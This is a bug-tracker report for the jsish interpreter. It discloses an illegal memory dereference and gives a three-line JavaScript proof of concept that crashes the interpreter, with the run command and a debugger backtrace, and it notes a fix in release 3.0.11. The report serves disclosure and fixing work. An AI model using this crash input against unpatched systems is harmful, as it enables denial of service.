Illegal memory dereference

[pcmacdon]

DongzhuoZhao added on 2020-05-11 03:19:36:
git version:
4603977

save follow testcase as .js format :

v0=/a/g;
var v1="a";
(v1).replace(v0,isFinite);

run:
./jsimin poc.js

Result:
zdz@ubuntu:~/jsish$ ./jsimin /home/zdz/debugBug/jsi/bug/poc.js
Segmentation fault (core dumped)

Backtrace:

Program received signal SIGSEGV, Segmentation fault.
0x000056038750129c in StringReplaceCmd (interp=0x5603881f2260,
args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0,
funcPtr=0x5603882047d0) at ./src/jsiString.c:656
656 maxArgs = repVal->d.obj->d.fobj->func->argnames->argCnt;
(rr) bt
#0 0x000056038750129c in StringReplaceCmd (interp=0x5603881f2260,
args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0,
funcPtr=0x5603882047d0) at ./src/jsiString.c:656
#1 0x0000560387560285 in jsi_FunctionSubCall (interp=0x5603881f2260,
args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0,
tocall=0x56038824e560, discard=1) at ./src/jsiEval.c:857
#2 0x0000560387560767 in jsiEvalFunction (ps=0x56038824d780,
ip=0x560388250af0, discard=1) at ./src/jsiEval.c:918
#3 0x000056038756238b in jsi_evalcode_sub (ps=0x56038824d780,
opcodes=0x56038824e640, scope=0x560388214950,
currentScope=0x5603881fe3f0, _this=0x5603881fe3f0, vret=0x560388231c90)
at ./src/jsiEval.c:1308
#4 0x000056038756810c in jsi_evalcode (ps=0x56038824d780, func=0x0,
opcodes=0x56038824e640, scope=0x560388214950, fargs=0x5603881fe3f0,
_this=0x5603881fe3f0, vret=0x7ffe29bd64b0) at ./src/jsiEval.c:2156
#5 0x0000560387569c5d in jsi_evalStrFile (interp=0x5603881f2260,
path=0x56038824c2e0,
str=0x7ffe29bd6594 "var v0 = /((?!B))|(\S)/g;\nvar v1="a a";\n(v1).replace(v0,isFinite);\n\n", flags=73, level=0) at ./src/jsiEval.c:2470
#6 0x000056038756a005 in Jsi_EvalFile (interp=0x5603881f2260,
fname=0x56038824c2e0, flags=73) at ./src/jsiEval.c:2519
#7 0x00005603874e521c in Jsi_Main (opts=0x7ffe29bddc20)
at ./src/jsiInterp.c:922

[pcmacdon]

Fixed in Release "3.0.11"

[vulsReport]

Found By Dongzhuo Zhao working with ADLab of Venustech